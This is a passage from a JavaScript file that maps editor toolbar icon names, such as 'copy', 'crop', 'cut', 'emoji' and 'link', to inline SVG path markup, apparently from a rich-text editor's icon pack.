.5-1.2.3-.4.7-.5 1.1-.5Z" fill-rule="evenodd"/></svg>',
    'color-levels': '<svg width="24" height="24"><path d="M17.5 11.4A9 9 0 0 1 18 14c0 .5 0 1-.2 1.4 0 .4-.3.9-.5 1.3a6.2 6.2 0 0 1-3.7 3 5.7 5.7 0 0 1-3.2 0A5.9 5.9 0 0 1 7.6 18a6.2 6.2 0 0 1-1.4-2.6 6.7 6.7 0 0 1 0-2.8c0-.4.1-.9.3-1.3a13.6 13.6 0 0 1 2.3-4A20 20 0 0 1 12 4a26.4 26.4 0 0 1 3.2 3.4 18.2 18.2 0 0 1 2.3 4Zm-2 4.5c.4-.7.5-1.4.5-2a7.3 7.3 0 0 0-1-3.2c.2.6.2 1.2.2 1.9a4.5 4.5 0 0 1-1.3 3 5.3 5.3 0 0 1-2.3 1.5 4.9 4.9 0 0 1-2 .1 4.3 4.3 0 0 0 2.4.8 4 4 0 0 0 2-.6 4 4 0 0 0 1.5-1.5Z" fill-rule="evenodd"/></svg>',
    'color-picker': '<svg width="24" height="24"><path d="M12 3a9 9 0 0 0 0 18 1.5 1.5 0 0 0 1.1-2.5c-.2-.3-.4-.6-.4-1 0-.8.7-1.5 1.5-1.5H16a5 5 0 0 0 5-5c0-4.4-4-8-9-8Zm-5.5 9a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3Zm3-4a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3Zm5 0a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3Zm3 4a1.5 1.5 0 1 1 0-3 1.5 1.5 0 0 1 0 3Z" fill-rule="nonzero"/></svg>',
    'color-swatch-remove-color': '<svg width="24" height="24"><path stroke="#000" stroke-width="2" d="M21 3 3 21" fill-rule="evenodd"/></svg>',
    'color-swatch': '<svg width="24" height="24"><rect x="3" y="3" width="18" height="18" rx="1" fill-rule="evenodd"/></svg>',
    'comment-add': '<svg width="24" height="24"><g fill-rule="nonzero"><path d="m9 19 3-2h7c.6 0 1-.4 1-1V6c0-.6-.4-1-1-1H5a1 1 0 0 0-1 1v10c0 .6.4 1 1 1h4v2Zm-2 4v-4H5a3 3 0 0 1-3-3V6a3 3 0 0 1 3-3h14a3 3 0 0 1 3 3v10a3 3 0 0 1-3 3h-6.4L7 23Z"/><path d="M13 10h2a1 1 0 0 1 0 2h-2v2a1 1 0 0 1-2 0v-2H9a1 1 0 0 1 0-2h2V8a1 1 0 0 1 2 0v2Z"/></g></svg>',
    'comment': '<svg width="24" height="24"><path fill-rule="nonzero" d="m9 19 3-2h7c.6 0 1-.4 1-1V6c0-.6-.4-1-1-1H5a1 1 0 0 0-1 1v10c0 .6.4 1 1 1h4v2Zm-2 4v-4H5a3 3 0 0 1-3-3V6a3 3 0 0 1 3-3h14a3 3 0 0 1 3 3v10a3 3 0 0 1-3 3h-6.4L7 23Z"/></svg>',
    'contrast': '<svg width="24" height="24"><path d="M12 4a7.8 7.8 0 0 1 5.7 2.3A8 8 0 1 1 12 4Zm-6 8a6 6 0 0 0 6 6V6a6 6 0 0 0-6 6Z" fill-rule="evenodd"/></svg>',
    'copy': '<svg width="24" height="24"><path d="M16 3H6a2 2 0 0 0-2 2v11h2V5h10V3Zm1 4a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2h-7a2 2 0 0 1-2-2V9c0-1.2.9-2 2-2h7Zm0 12V9h-7v10h7Z" fill-rule="nonzero"/></svg>',
    'crop': '<svg width="24" height="24"><path d="M17 8v7h2c.6 0 1 .4 1 1s-.4 1-1 1h-2v2c0 .6-.4 1-1 1a1 1 0 0 1-1-1v-2H7V9H5a1 1 0 1 1 0-2h2V5c0-.6.4-1 1-1s1 .4 1 1v2h7l3-3 1 1-3 3ZM9 9v5l5-5H9Zm1 6h5v-5l-5 5Z" fill-rule="evenodd"/></svg>',
    'cut-column': '<svg width="24" height="24"><path fill-rule="evenodd" d="M7.2 4.5c.9 0 1.6.4 2.2 1A3.7 3.7 0 0 1 10.5 8v.5l1 1 4-4 1-.5a3.3 3.3 0 0 1 2 0c.4 0 .7.3 1 .5L17 8h4v13h-6V10l-1.5 1.5.5.5v4l-2.5-2.5-1 1v.5c0 .4 0 .8-.3 1.2-.2.5-.4.9-.8 1.2-.6.7-1.3 1-2.2 1-.8.2-1.5 0-2-.6l-.5-.8-.2-1c0-.4 0-.8.3-1.2A3.9 3.9 0 0 1 7 12.7c.5-.2 1-.3 1.5-.2l1-1-1-1c-.5 0-1 0-1.5-.2-.5-.1-1-.4-1.4-.9-.4-.3-.6-.7-.8-1.2L4.5 7c0-.4 0-.7.2-1 0-.3.3-.6.5-.8.5-.5 1.2-.8 2-.7Zm12.3 5h-3v10h3v-10ZM8 13.8h-.3l-.4.2a2.8 2.8 0 0 0-.7.4v.1a2.8 2.8 0 0 0-.6.8l-.1.4v.7l.2.5.5.2h.7a2.6 2.6 0 0 0 .8-.3 2.4 2.4 0 0 0 .7-.7 2.5 2.5 0 0 0 .3-.8 1.5 1.5 0 0 0 0-.8 1 1 0 0 0-.2-.4 1 1 0 0 0-.5-.2H8Zm3.5-3.7c-.4 0-.7.1-1 .4-.3.3-.4.6-.4 1s.1.7.4 1c.3.3.6.4 1 .4s.7-.1 1-.4c.3-.3.4-.6.4-1s-.1-.7-.4-1c-.3-.3-.6-.4-1-.4ZM7 5.8h-.4a1 1 0 0 0-.5.3 1 1 0 0 0-.2.5v.7a2.5 2.5 0 0 0 .3.8l.2.3h.1l.4.4.4.2.4.1h.7L9 9l.2-.4a1.6 1.6 0 0 0 0-.8 2.6 2.6 0 0 0-.3-.8A2.5 2.5 0 0 0 7.7 6l-.4-.1H7Z"/></svg>',
    'cut-row': '<svg width="24" height="24"><path fill-rule="evenodd" d="M22 3v5H9l3 3 2-2h4l-4 4 1 1h.5c.4 0 .8 0 1.2.3.5.2.9.4 1.2.8.7.6 1 1.3 1 2.2.2.8 0 1.5-.6 2l-.8.5-1 .2c-.4 0-.8 0-1.2-.3a3.9 3.9 0 0 1-2.1-2.2c-.2-.5-.3-1-.2-1.5l-1-1-1 1c0 .5 0 1-.2 1.5-.1.5-.4 1-.9 1.4-.3.4-.7.6-1.2.8l-1.2.3c-.4 0-.7 0-1-.2-.3 0-.6-.3-.8-.5-.5-.5-.8-1.2-.7-2 0-.9.4-1.6 1-2.2A3.7 3.7 0 0 1 8.6 14H9l1-1-4-4-.5-1a3.3 3.3 0 0 1 0-2c0-.4.3-.7.5-1l2 2V3h14ZM8.5 15.3h-.3a2.6 2.6 0 0 0-.8.4 2.5 2.5 0 0 0-.9 1.1l-.1.4v.7l.2.5.5.2h.7a2.5 2.5 0 0 0 .8-.3L9 18V18l.4-.4.2-.4.1-.4v-.7a1 1 0 0 0-.2-.5 1 1 0 0 0-.4-.2h-.5Zm7 0H15a1 1 0 0 0-.4.3 1 1 0 0 0-.2.5 1.5 1.5 0 0 0 0 .7v.4a2.8 2.8 0 0 0 .5.7h.1a2.8 2.8 0 0 0 .8.6l.4.1h.7l.5-.2.2-.5v-.7a2.6 2.6 0 0 0-.3-.8 2.4 2.4 0 0 0-.7-.7 2.5 2.5 0 0 0-.8-.3h-.3ZM12 11.6c-.4 0-.7.1-1 .4-.3.3-.4.6-.4 1s.1.7.4 1c.3.3.6.4 1 .4s.7-.1 1-.4c.3-.3.4-.6.4-1s-.1-.7-.4-1c-.3-.3-.6-.4-1-.4Zm8.5-7.1h-11v2h11v-2Z"/></svg>',
    'cut': '<svg width="24" height="24"><path d="M18 15c.6.7 1 1.4 1 2.3 0 .8-.2 1.5-.7 2l-.8.5-1 .2c-.4 0-.8 0-1.2-.3a3.9 3.9 0 0 1-2.1-2.2c-.2-.5-.3-1-.2-1.5l-1-1-1 1c0 .5 0 1-.2 1.5-.1.5-.4 1-.9 1.4-.3.4-.7.6-1.2.8l-1.2.3c-.4 0-.7 0-1-.2-.3 0-.6-.3-.8-.5-.5-.5-.8-1.2-.7-2 0-.9.4-1.6 1-2.2A3.7 3.7 0 0 1 8.6 14H9l1-1-4-4-.5-1a3.3 3.3 0 0 1 0-2c0-.4.3-.7.5-1l6 6 6-6 .5 1a3.3 3.3 0 0 1 0 2c0 .4-.3.7-.5 1l-4 4 1 1h.5c.4 0 .8 0 1.2.3.5.2.9.4 1.2.8Zm-8.5 2.2.1-.4v-.7a1 1 0 0 0-.2-.5 1 1 0 0 0-.4-.2 1.6 1.6 0 0 0-.8 0 2.6 2.6 0 0 0-.8.3 2.5 2.5 0 0 0-.9 1.1l-.1.4v.7l.2.5.5.2h.7a2.5 2.5 0 0 0 .8-.3 2.8 2.8 0 0 0 1-1Zm2.5-2.8c.4 0 .7-.1 1-.4.3-.3.4-.6.4-1s-.1-.7-.4-1c-.3-.3-.6-.4-1-.4s-.7.1-1 .4c-.3.3-.4.6-.4 1s.1.7.4 1c.3.3.6.4 1 .4Zm5.4 4 .2-.5v-.7a2.6 2.6 0 0 0-.3-.8 2.4 2.4 0 0 0-.7-.7 2.5 2.5 0 0 0-.8-.3 1.5 1.5 0 0 0-.8 0 1 1 0 0 0-.4.2 1 1 0 0 0-.2.5 1.5 1.5 0 0 0 0 .7v.4l.3.4.3.4a2.8 2.8 0 0 0 .8.5l.4.1h.7l.5-.2Z" fill-rule="evenodd"/></svg>',
    'document-properties': '<svg width="24" height="24"><path d="M14.4 3H7a2 2 0 0 0-2 2v14c0 1.1.9 2 2 2h10a2 2 0 0 0 2-2V7.6L14.4 3ZM17 19H7V5h6v4h4v10Z" fill-rule="nonzero"/></svg>',
    'drag': '<svg width="24" height="24"><path d="M13 5h2v2h-2V5Zm0 4h2v2h-2V9ZM9 9h2v2H9V9Zm4 4h2v2h-2v-2Zm-4 0h2v2H9v-2Zm0 4h2v2H9v-2Zm4 0h2v2h-2v-2ZM9 5h2v2H9V5Z" fill-rule="evenodd"/></svg>',
    'duplicate-column': '<svg width="24" height="24"><path d="M17 6v16h-7V6h7Zm-2 2h-3v12h3V8Zm-2-6v2H8v15H6V2h7Z"/></svg>',
    'duplicate-row': '<svg width="24" height="24"><path d="M22 11v7H6v-7h16Zm-2 2H8v3h12v-3Zm-1-6v2H4v5H2V7h17Z"/></svg>',
    'duplicate': '<svg width="24" height="24"><g fill-rule="nonzero"><path d="M16 3v2H6v11H4V5c0-1.1.9-2 2-2h10Zm3 8h-2V9h-7v10h9a2 2 0 0 1-2 2h-7a2 2 0 0 1-2-2V9c0-1.2.9-2 2-2h7a2 2 0 0 1 2 2v2Z"/><path d="M17 14h1a1 1 0 0 1 0 2h-1v1a1 1 0 0 1-2 0v-1h-1a1 1 0 0 1 0-2h1v-1a1 1 0 0 1 2 0v1Z"/></g></svg>',
    'edit-block': '<svg width="24" height="24"><path fill-rule="nonzero" d="m19.8 8.8-9.4 9.4c-.2.2-.5.4-.9.4l-5.4 1.2 1.2-5.4.5-.8 9.4-9.4c.7-.7 1.8-.7 2.5 0l2.1 2.1c.7.7.7 1.8 0 2.5Zm-2-.2 1-.9v-.3l-2.2-2.2a.3.3 0 0 0-.3 0l-1 1L18 8.5Zm-1 1-2.5-2.4-6 6 2.5 2.5 6-6Zm-7 7.1-2.6-2.4-.3.3-.1.2-.7 3 3.1-.6h.1l.4-.5Z"/></svg>',
    'edit-image': '<svg width="24" height="24"><path d="M18 16h2V7a2 2 0 0 0-2-2H7v2h11v9ZM6 17h15a1 1 0 0 1 0 2h-1v1a1 1 0 0 1-2 0v-1H6a2 2 0 0 1-2-2V7H3a1 1 0 1 1 0-2h1V4a1 1 0 1 1 2 0v13Zm3-5.3 1.3 2 3-4.7 3.7 6H7l2-3.3Z" fill-rule="nonzero"/></svg>',
    'embed-page': '<svg width="24" height="24"><path d="M19 6V5H5v14h2A13 13 0 0 1 19 6Zm0 1.4c-.8.8-1.6 2.4-2.2 4.6H19V7.4Zm0 5.6h-2.4c-.4 1.8-.6 3.8-.6 6h3v-6Zm-4 6c0-2.2.2-4.2.6-6H13c-.7 1.8-1.1 3.8-1.1 6h3Zm-4 0c0-2.2.4-4.2 1-6H9.6A12 12 0 0 0 8 19h3ZM4 3h16c.6 0 1 .4 1 1v16c0 .6-.4 1-1 1H4a1 1 0 0 1-1-1V4c0-.6.4-1 1-1Zm11.8 9c.4-1.9 1-3.4 1.8-4.5a9.2 9.2 0 0 0-4 4.5h2.2Zm-3.4 0a12 12 0 0 1 2.8-4 12 12 0 0 0-5 4h2.2Z" fill-rule="nonzero"/></svg>',
    'embed': '<svg width="24" height="24"><path d="M4 3h16c.6 0 1 .4 1 1v16c0 .6-.4 1-1 1H4a1 1 0 0 1-1-1V4c0-.6.4-1 1-1Zm1 2v14h14V5H5Zm4.8 2.6 5.6 4a.5.5 0 0 1 0 .8l-5.6 4A.5.5 0 0 1 9 16V8a.5.5 0 0 1 .8-.4Z" fill-rule="nonzero"/></svg>',
    'emoji': '<svg width="24" height="24"><path d="M9 11c.6 0 1-.4 1-1s-.4-1-1-1a1 1 0 0 0-1 1c0 .6.4 1 1 1Zm6 0c.6 0 1-.4 1-1s-.4-1-1-1a1 1 0 0 0-1 1c0 .6.4 1 1 1Zm-3 5.5c2.1 0 4-1.5 4.4-3.5H7.6c.5 2 2.3 3.5 4.4 3.5ZM12 4a8 8 0 1 0 0 16 8 8 0 0 0 0-16Zm0 14.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13Z" fill-rule="nonzero"/></svg>',
    'export': '<svg width="24" height="24"><g fill-rule="nonzero"><path d="M14.4 3 18 7v1h-5V5H7v14h9a1 1 0 0 1 2 0c0 1-.8 2-1.9 2H7c-1 0-2-.8-2-1.9V5c0-1 .8-2 1.9-2h7.5Z"/><path d="M18.1 12c.5 0 .9.4.9 1 0 .5-.3 1-.8 1h-7.3c-.5 0-.9-.4-.9-1 0-.5.3-1 .8-1h7.3Z"/><path d="M16.4 9.2a1 1 0 0 1 1.4.2l2.4 3.6-2.4 3.6a1 1 0 0 1-1.7-1v-.2l1.7-2.4-1.6-2.4a1 1 0 0 1 .2-1.4Z"/></g></svg>',
    'fill': '<svg width="24" height="26"><path d="m16.6 12-9-9-1.4 1.4 2.4 2.4-5.2 5.1c-.5.6-.5 1.6 0 2.2L9 19.6a1.5 1.5 0 0 0 2.2 0l5.5-5.5c.5-.6.5-1.6 0-2.2ZM5.2 13 10 8.2l4.8 4.8H5.2ZM19 14.5s-2 2.2-2 3.5c0 1.1.9 2 2 2a2 2 0 0 0 2-2c0-1.3-2-3.5-2-3.5Z" fill-rule="nonzero"/></svg>',
    'flip-horizontally': '<svg width="24" height="24"><path d="M14 19h2v-2h-2v2Zm4-8h2V9h-2v2ZM4 7v10c0 1.1.9 2 2 2h3v-2H6V7h3V5H6a2 2 0 0 0-2 2Zm14-2v2h2a2 2 0 0 0-2-2Zm-7 16h2V3h-2v18Zm7-6h2v-2h-2v2Zm-4-8h2V5h-2v2Zm4 12a2 2 0 0 0 2-2h-2v2Z" fill-rule="nonzero"/></svg>',
    'flip-vertically': '<svg width="24" height="24"><path d="M5 14v2h2v-2H5Zm8 4v2h2v-2h-2Zm4-14H7a2 2 0 0 0-2 2v3h2V6h10v3h2V6a2 2 0 0 0-2-2Zm2 14h-2v2a2 2 0 0 0 2-2ZM3 11v2h18v-2H3Zm6 7v2h2v-2H9Zm8-4v2h2v-2h-2ZM5 18c0 1.1.9 2 2 2v-2H5Z" fill-rule="nonzero"/></svg>',
    'footnote': '<svg width="24" height="24"><path d="M19 13c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 1 1 0-2h14Z"/><path fill-rule="evenodd" clip-rule="evenodd" d="M19 4v6h-1V5h-1.5V4h2.6Z"/><path d="M12 18c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 1 1 0-2h7ZM14 8c.6 0 1 .4 1 1s-.4 1-1 1H5a1 1 0 0 1 0-2h9Z"/></svg>',
    'format-painter': '<svg width="24" height="24"><path d="M18 5V4c0-.5-.4-1-1-1H5a1 1 0 0 0-1 1v4c0 .6.5 1 1 1h12c.6 0 1-.4 1-1V7h1v4H9v9c0 .6.4 1 1 1h2c.6 0 1-.4 1-1v-7h8V5h-3Z" fill-rule="nonzero"/></svg>',
    'format': '<svg width="24" height="24"><path fill-rule="evenodd" d="M17 5a1 1 0 0 1 0 2h-4v11a1 1 0 0 1-2 0V7H7a1 1 0 1 1 0-2h10Z"/></svg>',
    'fullscreen': '<svg width="24" height="24"><path d="m15.3 10-1.2-1.3 2.9-3h-2.3a.9.9 0 1 1 0-1.7H19c.5 0 .9.4.9.9v4.4a.9.9 0 1 1-1.8 0V7l-2.9 3Zm0 4 3 3v-2.3a.9.9 0 1 1 1.7 0V19c0 .5-.4.9-.9.9h-4.4a.9.9 0 1 1 0-1.8H17l-3-2.9 1.3-1.2ZM10 15.4l-2.9 3h2.3a.9.9 0 1 1 0 1.7H5a.9.9 0 0 1-.9-.9v-4.4a.9.9 0 1 1 1.8 0V17l2.9-3 1.2 1.3ZM8.7 10 5.7 7v2.3a.9.9 0 0 1-1.7 0V5c0-.5.4-.9.9-.9h4.4a.9.9 0 0 1 0 1.8H7l3 2.9-1.3 1.2Z" fill-rule="nonzero"/></svg>',
    'gallery': '<svg width="24" height="24"><path fill-rule="nonzero" d="m5 15.7 2.3-2.2c.3-.3.7-.3 1 0L11 16l5.1-5c.3-.4.8-.4 1 0l2 1.9V8H5v7.7ZM5 18V19h3l1.8-1.9-2-2L5 17.9Zm14-3-2.5-2.4-6.4 6.5H19v-4ZM4 6h16c.6 0 1 .4 1 1v13c0 .6-.4 1-1 1H4a1 1 0 0 1-1-1V7c0-.6.4-1 1-1Zm6 7a2 2 0 1 1 0-4 2 2 0 0 1 0 4ZM4.5 4h15a.5.5 0 1 1 0 1h-15a.5.5 0 0 1 0-1Zm2-2h11a.5.5 0 1 1 0 1h-11a.5.5 0 0 1 0-1Z"/></svg>',
    'gamma': '<svg width="24" height="24"><path d="M4 3h16c.6 0 1 .4 1 1v16c0 .6-.4 1-1 1H4a1 1 0 0 1-1-1V4c0-.6.4-1 1-1Zm1 2v14h14V5H5Zm6.5 11.8V14L9.2 8.7a5.1 5.1 0 0 0-.4-.8l-.1-.2H8v-1l.3-.1.3-.1h.7a1 1 0 0 1 .6.5l.1.3a8.5 8.5 0 0 1 .3.6l1.9 4.6 2-5.2a1 1 0 0 1 1-.6.5.5 0 0 1 .5.6L13 14v2.8a.7.7 0 0 1-1.4 0Z" fill-rule="nonzero"/></svg>',
    'help': '<svg width="24" height="24"><g fill-rule="evenodd"><path d="M12 5.5a6.5 6.5 0 0 0-6 9 6.3 6.3 0 0 0 1.4 2l1 1a6.3 6.3 0 0 0 3.6 1 6.5 6.5 0 0 0 6-9 6.3 6.3 0 0 0-1.4-2l-1-1a6.3 6.3 0 0 0-3.6-1ZM12 4a7.8 7.8 0 0 1 5.7 2.3A8 8 0 1 1 12 4Z"/><path d="M9.6 9.7a.7.7 0 0 1-.7-.8c0-1.1 1.5-1.8 3.2-1.8 1.8 0 3.2.8 3.2 2.4 0 1.4-.4 2.1-1.5 2.8-.2 0-.3.1-.3.2a2 2 0 0 0-.8.8.8.8 0 0 1-1.4-.6c.3-.7.8-1 1.3-1.5l.4-.2c.7-.4.8-.6.8-1.5 0-.5-.6-.9-1.7-.9-.5 0-1 .1-1.4.3-.2 0-.3.1-.3.2v-.2c0 .4-.4.8-.8.8Z" fill-rule="nonzero"/><circle cx="12" cy="16" r="1"/></g></svg>',
    'highlight-bg-color': '<svg width="24" height="24"><g fill-rule="evenodd"><path id="tox-icon-highlight-bg-color__color" d="M3 18h18v3H3z"/><path fill-rule="nonzero" d="M7.7 16.7H3l3.3-3.3-.7-.8L10.2 8l4 4.1-4 4.2c-.2.2-.6.2-.8 0l-.6-.7-1.1 1.1zm5-7.5L11 7.4l3-2.9a2 2 0 0 1 2.6 0L18 6c.7.7.7 2 0 2.7l-2.9 2.9-1.8-1.8-.5-.6"/></g></svg>',
    'home': '<svg width="24" height="24"><path fill-rule="nonzero" d="M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z"/></svg>',
    'horizontal-rule': '<svg width="24" height="24"><path d="M4 11h16v2H4z" fill-rule="evenodd"/></svg>',
    'image-options': '<svg width="24" height="24"><path d="M6 10a2 2 0 0 0-2 2c0 1.1.9 2 2 2a2 2 0 0 0 2-2 2 2 0 0 0-2-2Zm12 0a2 2 0 0 0-2 2c0 1.1.9 2 2 2a2 2 0 0 0 2-2 2 2 0 0 0-2-2Zm-6 0a2 2 0 0 0-2 2c0 1.1.9 2 2 2a2 2 0 0 0 2-2 2 2 0 0 0-2-2Z" fill-rule="nonzero"/></svg>',
    'image': '<svg width="24" height="24"><path d="m5 15.7 3.3-3.2c.3-.3.7-.3 1 0L12 15l4.1-4c.3-.4.8-.4 1 0l2 1.9V5H5v10.7ZM5 18V19h3l2.8-2.9-2-2L5 17.9Zm14-3-2.5-2.4-6.4 6.5H19v-4ZM4 3h16c.6 0 1 .4 1 1v16c0 .6-.4 1-1 1H4a1 1 0 0 1-1-1V4c0-.6.4-1 1-1Zm6 8a2 2 0 1 0 0-4 2 2 0 0 0 0 4Z" fill-rule="nonzero"/></svg>',
    'indent': '<svg width="24" height="24"><path d="M7 5h12c.6 0 1 .4 1 1s-.4 1-1 1H7a1 1 0 1 1 0-2Zm5 4h7c.6 0 1 .4 1 1s-.4 1-1 1h-7a1 1 0 0 1 0-2Zm0 4h7c.6 0 1 .4 1 1s-.4 1-1 1h-7a1 1 0 0 1 0-2Zm-5 4h12a1 1 0 0 1 0 2H7a1 1 0 0 1 0-2Zm-2.6-3.8L6.2 12l-1.8-1.2a1 1 0 0 1 1.2-1.6l3 2a1 1 0 0 1 0 1.6l-3 2a1 1 0 1 1-1.2-1.6Z" fill-rule="evenodd"/></svg>',
    'info': '<svg width="24" height="24"><path d="M12 4a7.8 7.8 0 0 1 5.7 2.3A8 8 0 1 1 12 4Zm-1 3v2h2V7h-2Zm3 10v-1h-1v-5h-3v1h1v4h-1v1h4Z" fill-rule="evenodd"/></svg>',
    'insert-character': '<svg width="24" height="24"><path d="M15 18h4l1-2v4h-6v-3.3l1.4-1a6 6 0 0 0 1.8-2.9 6.3 6.3 0 0 0-.1-4.1 5.8 5.8 0 0 0-3-3.2c-.6-.3-1.3-.5-2.1-.5a5.1 5.1 0 0 0-3.9 1.8 6.3 6.3 0 0 0-1.3 6 6.2 6.2 0 0 0 1.8 3l1.4.9V20H4v-4l1 2h4v-.5l-2-1L5.4 15A6.5 6.5 0 0 1 4 11c0-1 .2-1.9.6-2.7A7 7 0 0 1 6.3 6C7.1 5.4 8 5 9 4.5c1-.3 2-.5 3.1-.5a8.8 8.8 0 0 1 5.7 2 7 7 0 0 1 1.7 2.3 6 6 0 0 1 .2 4.8c-.2.7-.6 1.3-1 1.9a7.6 7.6 0 0 1-3.6 2.5v.5Z" fill-rule="evenodd"/></svg>',
    'insert-time': '<svg width="24" height="24"><g fill-rule="nonzero"><path d="M12 19a7 7 0 1 0 0-14 7 7 0 0 0 0 14Zm0 2a9 9 0 1 1 0-18 9 9 0 0 1 0 18Z"/><path d="M16 12h-3V7c0-.6-.4-1-1-1a1 1 0 0 0-1 1v7h5c.6 0 1-.4 1-1s-.4-1-1-1Z"/></g></svg>',
    'invert': '<svg width="24" height="24"><path d="M18 19.3 16.5 18a5.8 5.8 0 0 1-3.1 1.9 6.1 6.1 0 0 1-5.5-1.6A5.8 5.8 0 0 1 6 14v-.3l.1-1.2A13.9 13.9 0 0 1 7.7 9l-3-3 .7-.8 2.8 2.9 9 8.9 1.5 1.6-.7.6Zm0-5.5v.3l-.1 1.1-.4 1-1.2-1.2a4.3 4.3 0 0 0 .2-1v-.2c0-.4 0-.8-.2-1.3l-.5-1.4a14.8 14.8 0 0 0-3-4.2L12 6a26.1 26.1 0 0 0-2.2 2.5l-1-1a20.9 20.9 0 0 1 2.9-3.3L12 4l1 .8a22.2 22.2 0 0 1 4 5.4c.6 1.2 1 2.4 1 3.6Z" fill-rule="evenodd"/></svg>',
    'italic': '<svg width="24" height="24"><path d="m16.7 4.7-.1.9h-.3c-.6 0-1 0-1.4.3-.3.3-.4.6-.5 1.1l-2.1 9.8v.6c0 .5.4.8 1.4.8h.2l-.2.8H8l.2-.8h.2c1.1 0 1.8-.5 2-1.5l2-9.8.1-.5c0-.6-.4-.8-1.4-.8h-.3l.2-.9h5.8Z" fill-rule="evenodd"/></svg>',
    'language': '<svg width="24" height="24"><path d="M12 3a9 9 0 1 1 0 18 9 9 0 0 1 0-18Zm4.3 13.3c-.5 1-1.2 2-2 2.9a7.5 7.5 0 0 0 3.2-2.1l-.2-.2a6 6 0 0 0-1-.6Zm-8.6 0c-.5.2-.9.5-1.2.8.9 1 2 1.7 3.2 2a10 10 0 0 1-2-2.8Zm3.6-.8c-.8 0-1.6.1-2.2.3.5 1 1.2 1.9 2.1 2.7Zm1.5 0v3c.9-.8 1.6-1.7 2.1-2.7-.6-.2-1.4-.3-2.1-.3Zm-6-2.7H4.5c.2 1 .5 2.1 1 3h.3l1.3-1a10 10 0 0 1-.3-2Zm12.7 0h-2.3c0 .7-.1 1.4-.3 2l1.6 1.1c.5-1 .9-2 1-3.1Zm-3.8 0h-3V14c1 0 2 .1 2.7.4.2-.5.3-1 .3-1.6Zm-4.4 0h-3l.3 1.6c.8-.3 1.7-.4 2.7-.4v-1.3Zm-5.5-5c-.7 1-1.1 2.2-1.3 3.5h2.3c0-1 .2-1.8.5-2.6l-1.5-1Zm2.9 1.4v.1c-.2.6-.4 1.3-.4 2h3V9.4c-1 0-1.8-.1-2.6-.3Zm6.6 0h-.1l-2.4.3v1.8h3l-.5-2.1Zm3-1.4-.3.1-1.3.8c.3.8.5 1.6.5 2.6h2.3a7.5 7.5 0 0 0-1.3-3.5Zm-9 0 2 .2V5.5a9 9 0 0 0-2 2.2Zm3.5-2.3V8c.6 0 1.3 0 1.9-.2a9 9 0 0 0-2-2.3Zm-3-.7h-.1c-1.1.4-2.1 1-3 1.8l1.2.7a10 10 0 0 1 1.9-2.5Zm4.4 0 .1.1a10 10 0 0 1 1.8 2.4l1.1-.7a7.5 7.5 0 0 0-3-1.8Z"/></svg>',
    'line-height': '<svg width="24" height="24"><path d="M21 5a1 1 0 0 1 .1 2H13a1 1 0 0 1-.1-2H21zm0 4a1 1 0 0 1 .1 2H13a1 1 0 0 1-.1-2H21zm0 4a1 1 0 0 1 .1 2H13a1 1 0 0 1-.1-2H21zm0 4a1 1 0 0 1 .1 2H13a1 1 0 0 1-.1-2H21zM7 3.6l3.7 3.7a1 1 0 0 1-1.3 1.5h-.1L8 7.3v9.2l1.3-1.3a1 1 0 0 1 1.3 0h.1c.4.4.4 1 0 1.3v.1L7 20.4l-3.7-3.7a1 1 0 0 1 1.3-1.5h.1L6 16.7V7.4L4.7 8.7a1 1 0 0 1-1.3 0h-.1a1 1 0 0 1 0-1.3v-.1L7 3.6z"/></svg>',
    'line': '<svg width="24" height="24"><path d="m15 9-8 8H4v-3l8-8 3 3Zm1-1-3-3 1-1h1c-.2 0 0 0 0 0l2 2s0 .2 0 0v1l-1 1ZM4 18h16v2H4v-2Z" fill-rule="evenodd"/></svg>',
    'link': '<svg width="24" height="24"><path d="M6.2 12.3a1 1 0 0 1 1.4 1.4l-2 2a2 2 0 1 0 2.6 2.8l4.8-4.8a1 1 0 0 0 0-1.4 1 1 0 1 1 1.4-1.3 2.9 2.9 0 0 1 0 4L9.6 20a3.9 3.9 0 0 1-5.5-5.5l2-2Zm11.6-.6a1 1 0 0 1-1.4-1.4l2-2a2 2 0 1 0-2.6-2.8L11 10.3a1 1 0 0 0 0 1.4A1 1 0 1 1 9.6 13a2.9 2.9 0 0 1 0-4L14.4 4a3.9 3.9 0 0 1 5.5 5.5l-2 2Z" fill-rule="nonzero"/></svg>',
    'list-bull-circle': '<svg width="48" height="48"><g fill-rule="evenodd"><path d="M11 16a2 2 0 1 0 0-4 2 2 0 0 0 0 4Zm0 1a3 3 0 1 1 0-6 3 3 0 0 1 0 6ZM11 26a2 2 0 1 0 0-4 2 2 0 0 0 0 4Zm0 1a3 3 0 1 1 0-6 3 3 0 0 1 0 6ZM11 36a2 2 0 1 0 0-4 2 2 0 0 0 0 4Zm0 1a3 3 0 1 1 0-6 3 3 0 0 1 0 6Z" fill-rule="nonzero"/><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/></g></svg>',
    'list-bull-default': '<svg width="48" height="48"><g fill-rule="evenodd"><circle cx="11" cy="14" r="3"/><circle cx="11" cy="24" r="3"/><circle cx="11" cy="34" r="3"/><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/></g></svg>',
    'list-bull-square': '<svg width="48" height="48"><g fill-rule="evenodd"><path d="M8 11h6v6H8zM8 21h6v6H8zM8 31h6v6H8z"/><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/></g></svg>',
